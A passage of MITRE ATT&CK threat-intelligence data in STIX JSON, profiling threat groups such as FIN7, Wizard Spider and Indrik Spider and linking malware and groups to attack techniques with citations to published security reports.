Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:54:00.926Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has decoded Base64 encoded URLs to insert a recipient’s name into the filename of the Word document. [Hancitor](https://attack.mitre.org/software/S0499) has also extracted executables from ZIP files.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has used DLL search order hijacking.(Citation: PWC Cloud Hopper April 2017)","modified":"2022-07-20T20:07:40.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fff3195c-ef40-4e11-b0f3-f1a849b2b316","created":"2022-07-21T17:01:09.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:02:05.756Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has sent spearphishing emails that required the user to click on a malicious link and subsequently open a decoy document with a malicious loader.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fff9a9cb-3032-4f18-a626-ce34a82e59ec","created":"2024-01-23T20:36:19.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:42:53.462Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has leveraged xcopy, 7zip, and RAR to stage and compress collected documents prior to exfiltration.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ffff35dc-3741-4fba-9680-f0fbe321c0b0","created":"2022-01-27T18:04:46.484Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":" [Bisonal](https://attack.mitre.org/software/S0268) dropped a decoy payload with a .jpg extension that contained a malicious Visual Basic script.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T21:25:59.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffffed15-5695-44b9-b85b-89ba8187415d","type":"relationship","created":"2019-09-24T14:19:05.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.994Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command to transfer files from a remote host.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Network Traffic Flow","description":"Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:11:56.485Z","name":"Indrik Spider","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)","aliases":["Indrik Spider","Evil Corp","Manatee Tempest","DEV-0243","UNC2165"],"x_mitre_deprecated":false,"x_mitre_version":"4.1","x_mitre_contributors":["Jennifer Kim Roman, CrowdStrike","Liran Ravich, CardinalOps"],"type":"intrusion-set","id":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","created":"2021-01-06T17:46:35.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0119","external_id":"G0119"},{"source_name":"Evil Corp","description":"(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)"},{"source_name":"UNC2165","description":"(Citation: Mandiant_UNC2165)"},{"source_name":"Manatee Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"DEV-0243","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Crowdstrike EvilCorp March 2021","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"},{"source_name":"Treasury EvilCorp Dec 2019","description":"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.","url":"https://home.treasury.gov/news/press-releases/sm845"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Metadata","description":"Contextual data about an instance and activity around it such as name, type, or status","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-05T17:59:41.843Z","name":"C0027","description":"[C0027](https://attack.mitre.org/campaigns/C0027) was a financially-motivated campaign linked to [Scattered Spider](https://attack.mitre.org/groups/G1015) that targeted telecommunications and business process outsourcing (BPO) companies from at least June through December of 2022. During [C0027](https://attack.mitre.org/campaigns/C0027) [Scattered Spider](https://attack.mitre.org/groups/G1015) used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n","aliases":["C0027"],"first_seen":"2022-06-01T04:00:00.000Z","last_seen":"2022-12-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Crowdstrike TELCO BPO Campaign December 2022)","x_mitre_last_seen_citation":"(Citation: Crowdstrike TELCO BPO Campaign December 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","created":"2023-06-30T19:28:30.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0027","external_id":"C0027"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2023-04-17T21:49:16.371Z","name":"LuminousMoth","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","aliases":["LuminousMoth"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet","Zaw Min Htun, @Z3TAE"],"type":"intrusion-set","id":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","created":"2023-02-23T15:31:38.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1014","external_id":"G1014"},{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:07:13.071Z","name":"Operation Wocao","description":"[Operation Wocao](https://attack.mitre.org/campaigns/C0014) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.(Citation: FoxIT Wocao December 2019)\n\nSecurity researchers assessed the [Operation Wocao](https://attack.mitre.org/campaigns/C0014) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://attack.mitre.org/campaigns/C0014) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.(Citation: FoxIT Wocao December 2019)","aliases":["Operation Wocao"],"first_seen":"2017-12-01T05:00:00.000Z","last_seen":"2019-12-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: FoxIT Wocao December 2019)","x_mitre_last_seen_citation":"(Citation: FoxIT Wocao December 2019)","x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Erik Schamper, @Schamperr, Fox-IT","Maarten van Dantzig, @MaartenVDantzig, Fox-IT"],"type":"campaign","id":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","created":"2022-09-27T14:15:23.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0014","external_id":"C0014"},{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-04-03T20:21:34.872Z","name":"Wizard Spider","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse aresenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)","aliases":["Wizard Spider","UNC1878","TEMP.MixMaster","Grim Spider","FIN12","GOLD BLACKBURN","ITG23","Periwinkle Tempest","DEV-0193"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Edward Millington","Oleksiy Gayda"],"type":"intrusion-set","id":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","created":"2020-05-12T18:15:29.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0102","external_id":"G0102"},{"source_name":"Grim Spider","description":"(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)"},{"source_name":"UNC1878","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)"},{"source_name":"TEMP.MixMaster","description":"(Citation: FireEye Ryuk and Trickbot January 2019)"},{"source_name":"ITG23","description":"(Citation: IBM X-Force ITG23 Oct 2021)"},{"source_name":"FIN12","description":"(Citation: Mandiant FIN12 Oct 2021)"},{"source_name":"Periwinkle Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"DEV-0193","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"GOLD BLACKBURN","description":"(Citation: Secureworks Gold Blackburn Mar 2022)"},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"CrowdStrike Ryuk January 2019","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Secureworks Gold Blackburn Mar 2022","description":"Secureworks Counter Threat Unit. (2022, March 1). Gold Blackburn Threat Profile. Retrieved June 15, 2023.","url":"https://www.secureworks.com/research/threat-profiles/gold-blackburn"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"IBM X-Force ITG23 Oct 2021","description":"Villadsen, O., et al. (2021, October 13). Trickbot Rising - Gang Doubles Down on Infection Efforts to Amass Network Footholds. Retrieved June 15, 2023.","url":"https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:36:24.044Z","name":"Elderwood","description":"[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)","aliases":["Elderwood","Elderwood Gang","Beijing Group","Sneaky Panda"],"x_mitre_deprecated":false,"x_mitre_version":"1.3","x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"type":"intrusion-set","id":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0066","external_id":"G0066"},{"source_name":"Beijing Group","description":"(Citation: CSM Elderwood Sept 2012)"},{"source_name":"Sneaky Panda","description":"(Citation: CSM Elderwood Sept 2012)"},{"source_name":"Elderwood","description":"(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"},{"source_name":"Elderwood Gang","description":"(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"},{"source_name":"CSM Elderwood Sept 2012","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"},{"source_name":"Symantec Elderwood Sept 2012","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"},{"source_name":"Security Affairs Elderwood Sept 2012","description":"Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.","url":"http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-19T21:44:20.477Z","name":"Frankenstein","description":"[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019) ","aliases":["Frankenstein"],"x_mitre_deprecated":true,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e","created":"2020-05-11T15:21:09.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0101","external_id":"G0101"},{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T22:09:41.004Z","name":"FIN7","description":"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)","aliases":["FIN7","GOLD NIAGARA","ITG14","Carbon Spider","ELBRUS","Sangria Tempest"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Edward Millington"],"type":"intrusion-set","id":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","created":"2017-05-31T21:32:09.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0046","external_id":"G0046"},{"source_name":"Carbon Spider","description":"(Citation: CrowdStrike Carbon Spider August 2021)"},{"source_name":"FIN7","description":"(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)"},{"source_name":"ELBRUS","description":"(Citation: Microsoft Ransomware as a Service)"},{"source_name":"Sangria Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"GOLD NIAGARA","description":"(Citation: Secureworks GOLD NIAGARA Threat Profile)"},{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"source_name":"Secureworks GOLD NIAGARA Threat Profile","description":"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.","url":"https://www.secureworks.com/research/threat-profiles/gold-niagara"},{"source_name":"FireEye FIN7 Shim Databases","description":"Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html"},{"source_name":"Morphisec FIN7 June 2017","description":"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.","url":"http://blog.morphisec.com/fin7-attacks-restaurant-industry"},{"source_name":"ITG14","description":"ITG14 shares campaign overlap with [FIN7](https://attack.mitre.org/groups/G0046).(Citation: 